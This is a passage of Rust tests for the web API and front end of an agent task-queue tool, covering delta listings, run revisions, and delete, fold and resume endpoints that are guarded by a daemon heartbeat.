15625    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
15626        let home = TempDir::new().unwrap();
15627        let ui = delta_test_ui(home.path());
15628        let queue = ui.queue.clone();
15629        let query = |ids: Option<&str>| {
15630            Query(ListQuery {
15631                limit: Some(2),
15632                ids: ids.map(str::to_owned),
15633            })
15634        };
15635        let mut root = Task::new(
15636            "root".into(),
15637            "instruction".into(),
15638            PathBuf::from("/repo"),
15639            Source::Human,
15640        );
15641        queue.put(&mut root).unwrap();
15642        let mut blocked = Task::new(
15643            "blocked".into(),
15644            "instruction".into(),
15645            PathBuf::from("/repo"),
15646            Source::Human,
15647        );
15648        blocked.block(vec![root.id.clone()], None);
15649        queue.put(&mut blocked).unwrap();
15650        let whole =
15651            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
15652                .unwrap();
15653        let subset = serde_json::to_value(
15654            queue_list(State(ui.clone()), query(Some(&root.id)))
15655                .await
15656                .unwrap()
15657                .0,
15658        )
15659        .unwrap();
15660        assert_eq!(whole, subset, "requested root plus its blocked dependent");
15661        let blockers = serde_json::to_value(
15662            queue_list(State(ui.clone()), query(Some("")))
15663                .await
15664                .unwrap()
15665                .0,
15666        )
15667        .unwrap();
15668        assert_eq!(blockers.as_array().unwrap().len(), 1);
15669        assert_eq!(blockers[0]["id"], blocked.id);
15670        assert_eq!(
15671            blockers[0]["waits_on"],
15672            whole
15673                .as_array()
15674                .unwrap()
15675                .iter()
15676                .find(|row| row["id"] == blocked.id)
15677                .unwrap()["waits_on"]
15678        );
15679
15680        for id in [
15681            "20260902-140501-aaaa",
15682            "20260902-140502-bbbb",
15683            "20260902-140503-cccc",
15684        ] {
15685            write_run(&ui.runs, id, RunStatus::Merged);
15686        }
15687        let old = serde_json::to_value(
15688            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
15689                .await
15690                .unwrap()
15691                .0,
15692        )
15693        .unwrap();
15694        assert!(
15695            old.as_array().unwrap().is_empty(),
15696            "older updates must not enter the window"
15697        );
15698        let newest = serde_json::to_value(
15699            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
15700                .await
15701                .unwrap()
15702                .0,
15703        )
15704        .unwrap();
15705        assert_eq!(newest.as_array().unwrap().len(), 1);
15706        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
15707
15708        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
15709        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
15710        let talks = serde_json::to_value(
15711            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
15712                .await
15713                .unwrap()
15714                .0,
15715        )
15716        .unwrap();
15717        assert_eq!(talks.as_array().unwrap().len(), 1);
15718        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
15719        assert_eq!(
15720            serde_json::to_value(
15721                talks_list(State(ui.clone()), query(Some("")))
15722                    .await
15723                    .unwrap()
15724                    .0
15725            )
15726            .unwrap(),
15727            serde_json::json!([])
15728        );
15729    }
15730
15731    #[tokio::test]
15732    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
15733    async fn delta_payload_benchmark() {
15734        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
15735        let ui = delta_test_ui(&home);
15736        let query = |ids: Option<String>| {
15737            Query(ListQuery {
15738                limit: Some(50),
15739                ids,
15740            })
15741        };
15742        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
15743        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
15744        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
15745        let queue_id = queue
15746            .iter()
15747            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
15748            .unwrap_or(&queue[0])
15749            .task
15750            .id
15751            .clone();
15752        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
15753            .await
15754            .unwrap()
15755            .0;
15756        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
15757            .await
15758            .unwrap()
15759            .0;
15760        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
15761            .await
15762            .unwrap()
15763            .0;
15764        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
15765        eprintln!(
15766            "DELTA_PAYLOAD {}",
15767            serde_json::json!({
15768                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
15769                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
15770                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
15771                "counts": [queue.len(), runs.len(), talks.len()],
15772                "blocked": queue_delta.len() - 1,
15773            })
15774        );
15775    }
15776
15777    #[test]
15778    fn runs_revision_moves_when_deleting_an_older_run() {
15779        let temp = TempDir::new().expect("tempdir");
15780        let runs = temp.path().join("runs");
15781        std::fs::create_dir_all(&runs).expect("create runs dir");
15782
15783        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
15784
15785        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
15786        std::thread::sleep(Duration::from_millis(10));
15787        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
15788
15789        let rev_before = runs_revision(&runs);
15790        assert!(rev_before > 0);
15791
15792        let old_dir = runs.join("20260901-100000-old1");
15793        std::fs::remove_dir_all(&old_dir).expect("remove old run");
15794
15795        let rev_after = runs_revision(&runs);
15796        assert_ne!(
15797            rev_before, rev_after,
15798            "deleting an older run must change the revision so other clients see the deletion"
15799        );
15800    }
15801
15802    /// A run's own `run.json` on an explicit `runs` root, bypassing the
15803    /// process-global home entirely — `RunState::save` writes through
15804    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
15805    /// (see `tests::home_lock` in the integration suite for why).
15806    fn write_state(runs: &FsPath, state: &RunState) {
15807        let dir = runs.join(&state.id);
15808        std::fs::create_dir_all(&dir).expect("run dir");
15809        std::fs::write(
15810            dir.join("run.json"),
15811            serde_json::to_string_pretty(state).expect("serialize run"),
15812        )
15813        .expect("write run.json");
15814    }
15815
15816    /// A seat starting or finishing is a write to `run.json` like any other,
15817    /// so it moves the same revision the change stream already watches —
15818    /// nothing new for `/api/events` to learn, but the property this feature
15819    /// depends on to reach the phone without a poll.
15820    #[test]
15821    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
15822        let temp = TempDir::new().expect("tempdir");
15823        let runs = temp.path().join("runs");
15824        std::fs::create_dir_all(&runs).expect("create runs dir");
15825        let mut state = RunState::new(
15826            PathBuf::from("/repo/magi"),
15827            "main".to_owned(),
15828            "0123456789abcdef".to_owned(),
15829            "task".to_owned(),
15830            Config::default(),
15831        );
15832        state.id = "20260902-100000-c0de".to_owned();
15833        write_state(&runs, &state);
15834
15835        let rev_idle = runs_revision(&runs);
15836        std::thread::sleep(Duration::from_millis(10));
15837        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
15838        write_state(&runs, &state);
15839        let rev_started = runs_revision(&runs);
15840        assert_ne!(
15841            rev_idle, rev_started,
15842            "a seat starting must move the revision"
15843        );
15844
15845        std::thread::sleep(Duration::from_millis(10));
15846        state.seat_finished("judge-1");
15847        write_state(&runs, &state);
15848        let rev_finished = runs_revision(&runs);
15849        assert_ne!(
15850            rev_started, rev_finished,
15851            "and clearing it again must move the revision a second time"
15852        );
15853    }
15854
15855    #[tokio::test]
15856    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
15857        // `TaskView` flattens `Task`, so this is really asserting that
15858        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
15859        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
15860        // never touched web.rs, so nothing here caught it if it had.
15861        let fx = Fixture::start().await;
15862        let q = fx.queue();
15863
15864        let mut t = Task::new(
15865            "Task".to_owned(),
15866            "Instruction".to_owned(),
15867            PathBuf::from("/repo"),
15868            Source::Human,
15869        );
15870        t.block(
15871            vec!["20260101-000000-dead".to_owned()],
15872            Some("waiting on Task 1".to_owned()),
15873        );
15874        t.answers.push(crate::queue::AnsweredQuestion {
15875            question: "Which backend?".to_owned(),
15876            answer: "SQLite".to_owned(),
15877        });
15878        q.put(&mut t).expect("put t");
15879
15880        let res = fx.get("/api/queue").await;
15881        assert_eq!(res.status, 200);
15882        let list = res.json();
15883        let view = list
15884            .as_array()
15885            .expect("array")
15886            .iter()
15887            .find(|v| v["id"] == t.id)
15888            .expect("task in list");
15889        assert_eq!(view["status_str"], "blocked");
15890        assert_eq!(
15891            view["blocked_by"],
15892            serde_json::json!(["20260101-000000-dead"])
15893        );
15894        assert_eq!(view["block_reason"], "waiting on Task 1");
15895        assert_eq!(view["answers"][0]["question"], "Which backend?");
15896        assert_eq!(view["answers"][0]["answer"], "SQLite");
15897
15898        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
15899        // but never `answers` - that is a settled decision, not state
15900        // describing the current block, so it survives.
15901        let res = fx
15902            .post(&format!("/api/queue/{}/hold", t.short()), None)
15903            .await;
15904        assert_eq!(res.status, 200);
15905        let held = res.json();
15906        assert_eq!(held["status_str"], "held");
15907        assert_eq!(held["blocked_by"], serde_json::json!([]));
15908        assert!(held["block_reason"].is_null());
15909        assert_eq!(held["answers"][0]["answer"], "SQLite");
15910    }
15911
15912    #[tokio::test]
15913    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
15914        let fx = Fixture::start().await;
15915        let q = fx.queue();
15916        let mk = |title: &str| {
15917            Task::new(
15918                title.to_owned(),
15919                "Instruction".to_owned(),
15920                PathBuf::from("/repo"),
15921                Source::Human,
15922            )
15923        };
15924        let mut root = mk("root");
15925        root.hold_manual(Some("waiting".to_owned()));
15926        q.put(&mut root).unwrap();
15927        let mut mid = mk("mid");
15928        mid.block(vec![root.id.clone()], None);
15929        q.put(&mut mid).unwrap();
15930        let mut leaf = mk("leaf");
15931        leaf.block(vec![mid.id.clone()], None);
15932        q.put(&mut leaf).unwrap();
15933
15934        let list = fx.get("/api/queue").await.json();
15935        let find = |id: &str| {
15936            list.as_array()
15937                .unwrap()
15938                .iter()
15939                .find(|v| v["id"] == id)
15940                .unwrap()
15941                .clone()
15942        };
15943        let leaf_view = find(&leaf.id);
15944        assert_eq!(
15945            leaf_view["waits_on"],
15946            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
15947        );
15948        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
15949        assert_eq!(
15950            find(&mid.id)["waits_on"],
15951            serde_json::json!([format!("{} (held)", root.short())])
15952        );
15953        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
15954    }
15955
15956    #[tokio::test]
15957    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
15958        let fx = Fixture::start().await;
15959        let q = fx.queue();
15960
15961        // 1. A queued task with runs attached can be deleted.
15962        let mut t1 = Task::new(
15963            "Task 1".to_owned(),
15964            "Instruction 1".to_owned(),
15965            PathBuf::from("/repo"),
15966            Source::Human,
15967        );
15968        let run_id = "20260901-000000-r111";
15969        t1.runs.push(run_id.to_owned());
15970        write_run(&fx.runs(), run_id, RunStatus::Merged);
15971        q.put(&mut t1).expect("put t1");
15972
15973        // Delete by short id
15974        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
15975        assert_eq!(res.status, 204);
15976        assert!(res.body.is_empty(), "204 No Content has no body");
15977        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
15978        assert!(
15979            fx.runs().join(run_id).exists(),
15980            "run directory must not be deleted when its task is deleted"
15981        );
15982
15983        // 2. A task a live daemon is running is refused with 409.
15984        let mut t2 = Task::new(
15985            "Task 2".to_owned(),
15986            "Instruction 2".to_owned(),
15987            PathBuf::from("/repo"),
15988            Source::Human,
15989        );
15990        t2.status = TaskStatus::Running;
15991        q.put(&mut t2).expect("put t2");
15992        let mut beat = crate::daemon::Status::new();
15993        beat.current = vec![crate::daemon::Current {
15994            task: t2.id.clone(),
15995            run: "20260901-000000-r222".to_owned(),
15996        }];
15997        beat.updated_at = jiff::Timestamp::now();
15998        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15999            .expect("publish a heartbeat");
16000        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
16001        assert_eq!(res.status, 409);
16002        assert!(
16003            res.json()["error"]
16004                .as_str()
16005                .unwrap()
16006                .contains("live daemon")
16007        );
16008        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
16009
16010        // 3. The same `running` status and an orphaned lock, with no daemon
16011        // behind either, is a leftover and deletable. Before this the phone
16012        // refused it for good: the status never changes on its own and
16013        // nothing drops a lock whose process is gone.
16014        // The daemon is killed: the file stays, the heartbeat stops.
16015        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
16016        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16017            .expect("leave a stale heartbeat");
16018        let mut t3 = Task::new(
16019            "Task 3".to_owned(),
16020            "Instruction 3".to_owned(),
16021            PathBuf::from("/repo"),
16022            Source::Human,
16023        );
16024        t3.status = TaskStatus::Running;
16025        q.put(&mut t3).expect("put t3");
16026        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
16027        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
16028        assert_eq!(res.status, 204);
16029        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
16030        assert!(
16031            q.claim(&t3.id).is_ok(),
16032            "the stale lock went with it, so the id is claimable again"
16033        );
16034
16035        // 4. Missing id returns 404
16036        let res = fx.delete("/api/queue/nonexistent").await;
16037        assert_eq!(res.status, 404);
16038    }
16039
16040    #[tokio::test]
16041    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16042        let fx = Fixture::start().await;
16043        let runs = fx.runs();
16044
16045        // 1. Finished and folded run can be deleted along with artifacts
16046        let run_id = "20260901-000000-fold";
16047        let mut state = RunState::new(
16048            PathBuf::from("/repo"),
16049            "main".to_owned(),
16050            "abc".to_owned(),
16051            "instruction".to_owned(),
16052            Config::default(),
16053        );
16054        state.id = run_id.to_owned();
16055        state.status = RunStatus::Merged;
16056        state.candidates.push(crate::run::Candidate {
16057            index: 0,
16058            label: 'A',
16059            agent: "a".to_owned(),
16060            branch: "b".to_owned(),
16061            worktree: PathBuf::from("/w"),
16062            summary: String::new(),
16063            stat: String::new(),
16064            files: 1,
16065            commits: 1,
16066            empty: false,
16067            failed: None,
16068            verified_noop: None,
16069            duration_ms: 0,
16070            folded: true,
16071        });
16072        let dir = runs.join(run_id);
16073        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16074        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16075            .expect("write artifact");
16076        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16077            .expect("write run.json");
16078
16079        // Delete by short id
16080        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16081        assert_eq!(res.status, 204);
16082        assert!(res.body.is_empty(), "204 has no body");
16083        assert!(!dir.exists(), "run directory and artifacts must be deleted");
16084
16085        // 2. A run a live daemon is working on is refused with 409. The
16086        // heartbeat is what makes it refusable: an unfinished run with no
16087        // daemon behind it is a leftover from a killed process, and case 1
16088        // above would otherwise be impossible to tell apart from this one.
16089        let run_running = "20260901-000000-rung";
16090        write_run(&runs, run_running, RunStatus::Prep);
16091        let mut beat = crate::daemon::Status::new();
16092        beat.current = vec![crate::daemon::Current {
16093            task: "20260901-000000-task".to_owned(),
16094            run: run_running.to_owned(),
16095        }];
16096        beat.updated_at = jiff::Timestamp::now();
16097        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16098            .expect("publish a heartbeat");
16099        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16100        assert_eq!(res.status, 409);
16101        assert!(
16102            res.json()["error"]
16103                .as_str()
16104                .unwrap()
16105                .contains("live daemon"),
16106            "the refusal must say who is holding it"
16107        );
16108        assert!(
16109            runs.join(run_running).exists(),
16110            "a run in flight keeps its directory"
16111        );
16112
16113        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
16114        let run_unfolded = "20260901-000000-unfd";
16115        let mut state2 = RunState::new(
16116            PathBuf::from("/repo"),
16117            "main".to_owned(),
16118            "abc".to_owned(),
16119            "instruction".to_owned(),
16120            Config::default(),
16121        );
16122        state2.id = run_unfolded.to_owned();
16123        state2.status = RunStatus::Ready;
16124        state2.candidates.push(crate::run::Candidate {
16125            index: 0,
16126            label: 'A',
16127            agent: "a".to_owned(),
16128            branch: "b".to_owned(),
16129            worktree: PathBuf::from("/w"),
16130            summary: String::new(),
16131            stat: String::new(),
16132            files: 1,
16133            commits: 1,
16134            empty: false,
16135            failed: None,
16136            verified_noop: None,
16137            duration_ms: 0,
16138            folded: false,
16139        });
16140        let dir2 = runs.join(run_unfolded);
16141        std::fs::create_dir_all(&dir2).expect("create dir2");
16142        std::fs::write(
16143            dir2.join("run.json"),
16144            serde_json::to_string(&state2).unwrap(),
16145        )
16146        .expect("write run.json");
16147
16148        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16149        assert_eq!(res.status, 409);
16150        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16151        assert!(dir2.exists(), "unfolded run directory is kept");
16152
16153        // 4. Missing id returns 404
16154        let res = fx.delete("/api/runs/nonexistent").await;
16155        assert_eq!(res.status, 404);
16156    }
16157
16158    /// The queue tiles on the Stats tab must render even on a home with no
16159    /// runs at all: queue state is not derived from run history, so hiding
16160    /// the whole dashboard body behind "no runs yet" would drop the one
16161    /// thing this tab promises unconditionally (queued/running/held/done).
16162    /// A DOM-level test would need a browser this suite does not have, so
16163    /// this pins the same invariant textually: `renderStatsQueue` is called
16164    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
16165    /// block that gates the run-derived panels.
16166    #[test]
16167    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16168        let start = APP_JS
16169            .find("function renderStats() {")
16170            .expect("renderStats");
16171        let end = start
16172            + APP_JS[start..]
16173                .find("function statsTile(")
16174                .expect("the next top-level function");
16175        let body = &APP_JS[start..end];
16176
16177        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16178        let gate_end = gate_start
16179            + body[gate_start..]
16180                .find("}\n  renderStatsQueue")
16181                .expect("the gate's own closing brace, right before the unconditional call");
16182        let gated = &body[gate_start..gate_end];
16183
16184        assert_eq!(
16185            body.matches("renderStatsQueue(").count(),
16186            1,
16187            "renderStats must call renderStatsQueue exactly once: {body}"
16188        );
16189        assert!(
16190            !gated.contains("renderStatsQueue"),
16191            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16192             run-derived panels on an empty run history - the queue panel has to render \
16193             regardless: {gated}"
16194        );
16195    }
16196
16197    #[test]
16198    fn web_ui_delete_contract_in_front_end() {
16199        // 1. API block has both delete endpoints
16200        assert!(APP_JS.contains("deleteRun:"));
16201        assert!(APP_JS.contains("deleteTask:"));
16202
16203        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
16204        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16205            ..APP_JS.find("function renderRuns").unwrap()];
16206        assert!(!run_cards_slice.to_lowercase().contains("delete"));
16207
16208        // 3. Run detail has delete entry and reasons
16209        assert!(APP_JS.contains("renderRunDelete"));
16210        assert!(APP_JS.contains("runDeleteReason"));
16211        assert!(APP_JS.contains("magi fold"));
16212        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16213
16214        // 4. Two-step delete arming and focus on Cancel
16215        assert!(APP_JS.contains("cancel.focus"));
16216        assert!(APP_JS.contains("armedRunDelete"));
16217        assert!(APP_JS.contains("renderTaskDeleteBox"));
16218        assert!(APP_JS.contains("armed${cap(key)}"));
16219
16220        // 5. Running task has disabled delete
16221        assert!(APP_JS.contains("disabled: status === \"running\""));
16222    }
16223
16224    /// Every element a run card's updater reaches for must be in the `refs`
16225    /// the builder handed it.
16226    ///
16227    /// `createRunCard` builds its elements, appends them to the card, and then
16228    /// lists them again in `row.refs`. That second list is the one the updater
16229    /// uses, and nothing connects the two - an element can be built, appended
16230    /// and rendered, and still be missing from `refs`. `superseded` was, for
16231    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
16232    /// exception took `syncList` with it, and the deck showed
16233    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
16234    /// line is computed before the cards, which is why the failure looked like
16235    /// a server that had lost its runs rather than a front end that had
16236    /// stopped rendering them.
16237    ///
16238    /// A `cargo test` cannot execute the front end, so this reads the two
16239    /// halves out of the source and compares them as sets. It is not a check
16240    /// on the wording of either list: adding an element, renaming one, or
16241    /// reordering them all keeps this passing, and only using one the builder
16242    /// never published fails it.
16243    #[test]
16244    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16245        let build = APP_JS
16246            .find("function createRunCard")
16247            .expect("createRunCard exists");
16248        let update = APP_JS
16249            .find("function updateRunCard")
16250            .expect("updateRunCard exists");
16251        let end = APP_JS
16252            .find("function renderRuns")
16253            .expect("renderRuns exists");
16254
16255        // The builder's published set: the object literal assigned to `refs`.
16256        let builder = &APP_JS[build..update];
16257        let open = builder.find("refs = {").expect("createRunCard sets refs");
16258        let literal = &builder[open + "refs = {".len()..];
16259        let close = literal.find('}').expect("the refs literal is closed");
16260        let published: HashSet<&str> = literal[..close]
16261            .split(',')
16262            // `name` and `name: value` both bind `name`.
16263            .filter_map(|entry| entry.split(':').next())
16264            .map(str::trim)
16265            .filter(|name| !name.is_empty())
16266            .collect();
16267        assert!(
16268            published.len() > 5,
16269            "the refs literal did not parse into names: {published:?}"
16270        );
16271
16272        // What the updaters reach for: every `r.<name>`, where `r` is the
16273        // `const r = row.refs` alias both functions open with.
16274        let mut used: Vec<&str> = Vec::new();
16275        let updaters = &APP_JS[update..end];
16276        for (at, _) in updaters.match_indices("r.") {
16277            // `r` must be the whole identifier, not the tail of another one
16278            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
16279            let before = updaters[..at].chars().next_back();
16280            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16281                continue;
16282            }
16283            let rest = &updaters[at + 2..];
16284            let len = rest
16285                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16286                .unwrap_or(rest.len());
16287            if len > 0 {
16288                used.push(&rest[..len]);
16289            }
16290        }
16291        assert!(
16292            used.len() > 5,
16293            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16294        );
16295
16296        let missing: Vec<&str> = used
16297            .iter()
16298            .copied()
16299            .filter(|name| !published.contains(name))
16300            .collect();
16301        assert!(
16302            missing.is_empty(),
16303            "a run card's updater reaches for {missing:?}, which `createRunCard` \
16304             never put in `refs` - every card will throw and the list will \
16305             render empty under a count line that says otherwise. Published: \
16306             {published:?}"
16307        );
16308    }
16309
16310    #[tokio::test]
16311    async fn folding_from_the_phone_reports_what_it_removed() {
16312        let fx = Fixture::start().await;
16313        let runs = fx.runs();
16314
16315        // A run with no candidates has nothing to fold, which is a 200 with an
16316        // honest count rather than an error: the operator asked for the trees
16317        // to be gone and they are.
16318        let id = "20260901-000000-fold";
16319        write_run(&runs, id, RunStatus::Stalled);
16320        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16321        assert_eq!(res.status, 200);
16322        assert_eq!(res.json()["removed_count"], 0);
16323        assert_eq!(res.json()["run"], id);
16324        assert!(
16325            runs.join(id).exists(),
16326            "a fold keeps the run's record; only the worktrees go"
16327        );
16328    }
16329
16330    #[tokio::test]
16331    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16332        let fx = Fixture::start().await;
16333        let runs = fx.runs();
16334        let wt = fx.home.path().join("wt").join("magi").join("dead");
16335        let id = "20260901-000000-dead";
16336        std::fs::create_dir_all(runs.join(id)).expect("run dir");
16337        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16338        std::fs::create_dir_all(&wt).expect("worktree dir");
16339
16340        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16341        assert_eq!(res.status, 200, "{}", res.body);
16342        assert!(
16343            res.json()["removed_count"].as_u64().unwrap() > 0,
16344            "the worktree this build could not read a state for still went"
16345        );
16346        assert!(
16347            !runs.join(id).exists(),
16348            "an unreadable run has no candidate list to fold selectively, so \
16349             the whole record goes - same as `magi fold` on the CLI"
16350        );
16351    }
16352
16353    #[tokio::test]
16354    async fn deleting_an_unreadable_run_removes_it_wholesale() {
16355        let fx = Fixture::start().await;
16356        let runs = fx.runs();
16357        let wt = fx.home.path().join("wt").join("magi").join("gone");
16358        let id = "20260901-000000-gone";
16359        std::fs::create_dir_all(runs.join(id)).expect("run dir");
16360        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16361        std::fs::create_dir_all(&wt).expect("worktree dir");
16362
16363        let res = fx.delete(&format!("/api/runs/{id}")).await;
16364        assert_eq!(res.status, 204, "{}", res.body);
16365        assert!(!runs.join(id).exists(), "the broken record is gone");
16366        assert!(!wt.exists(), "its worktree is gone too");
16367    }
16368
16369    #[tokio::test]
16370    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16371        let fx = Fixture::start().await;
16372        let runs = fx.runs();
16373        let id = "20260901-000000-live";
16374        write_run(&runs, id, RunStatus::Implementing);
16375
16376        let mut beat = crate::daemon::Status::new();
16377        beat.current = vec![crate::daemon::Current {
16378            task: "20260901-000000-task".to_owned(),
16379            run: id.to_owned(),
16380        }];
16381        beat.updated_at = jiff::Timestamp::now();
16382        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16383            .expect("publish a heartbeat");
16384
16385        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16386        assert_eq!(res.status, 409);
16387        assert!(
16388            res.json()["error"]
16389                .as_str()
16390                .unwrap()
16391                .contains("live daemon"),
16392            "folding under a running agent would pull its worktree away"
16393        );
16394    }
16395
16396    #[tokio::test]
16397    async fn fold_merged_requires_a_pr_url() {
16398        let fx = Fixture::start().await;
16399        let runs = fx.runs();
16400        let id = "20260901-000000-nourl";
16401        write_run(&runs, id, RunStatus::Blocked);
16402
16403        let res = fx
16404            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16405            .await;
16406        assert_eq!(res.status, 400, "{}", res.body);
16407
16408        let blank = fx
16409            .post(
16410                &format!("/api/runs/{id}/fold-merged"),
16411                Some(r#"{"pr_url":"   "}"#),
16412            )
16413            .await;
16414        assert_eq!(blank.status, 400, "{}", blank.body);
16415    }
16416
16417    #[tokio::test]
16418    async fn fold_merged_is_404_for_an_unknown_run() {
16419        let fx = Fixture::start().await;
16420        let res = fx
16421            .post(
16422                "/api/runs/nosuchrun/fold-merged",
16423                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16424            )
16425            .await;
16426        assert_eq!(res.status, 404, "{}", res.body);
16427    }
16428
16429    #[tokio::test]
16430    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
16431        let fx = Fixture::start().await;
16432        let runs = fx.runs();
16433        let id = "20260901-000000-livemerge";
16434        write_run(&runs, id, RunStatus::Blocked);
16435
16436        let mut beat = crate::daemon::Status::new();
16437        beat.current = vec![crate::daemon::Current {
16438            task: "20260901-000000-task".to_owned(),
16439            run: id.to_owned(),
16440        }];
16441        beat.updated_at = jiff::Timestamp::now();
16442        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16443            .expect("publish a heartbeat");
16444
16445        let res = fx
16446            .post(
16447                &format!("/api/runs/{id}/fold-merged"),
16448                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16449            )
16450            .await;
16451        assert_eq!(res.status, 409, "{}", res.body);
16452        assert!(
16453            res.json()["error"]
16454                .as_str()
16455                .unwrap()
16456                .contains("live daemon"),
16457            "correcting a run's merge underneath a running agent would race \
16458             whatever it is doing to the same `status`/`merge` fields"
16459        );
16460    }
16461
16462    /// A pull request `gh` cannot even ask about (no such remote, no such
16463    /// repository) must never be recorded as a merge on a guess - the same
16464    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
16465    /// command line, reached here through the phone route instead.
16466    #[tokio::test]
16467    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
16468        let fx = Fixture::start().await;
16469        let runs = fx.runs();
16470        let id = "20260901-000000-unconfirmed";
16471        write_run(&runs, id, RunStatus::Blocked);
16472
16473        let res = fx
16474            .post(
16475                &format!("/api/runs/{id}/fold-merged"),
16476                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16477            )
16478            .await;
16479        assert_eq!(res.status, 400, "{}", res.body);
16480        assert_eq!(
16481            read_run(&runs, id).unwrap().status,
16482            RunStatus::Blocked,
16483            "a pull request that could not be confirmed merged must leave \
16484             the run exactly where it was"
16485        );
16486    }
16487
16488    #[tokio::test]
16489    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
16490        let fx = Fixture::start().await;
16491        let runs = fx.runs();
16492
16493        // Only a finished run and a failed one. An *interrupted* run - a
16494        // parked one, or one whose daemon was killed mid-node - is the case
16495        // resuming exists for: run 4043 sat at `reviewing` with the deck
16496        // saying it could not be resumed, which was the one state where
16497        // resuming was the only sensible answer.
16498        for (status, word) in [
16499            (RunStatus::Merged, "merged"),
16500            (RunStatus::Ready, "ready"),
16501            (RunStatus::Failed, "failed"),
16502        ] {
16503            let id = format!("20260901-000000-{}", &word[..4]);
16504            write_run(&runs, &id, status);
16505            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
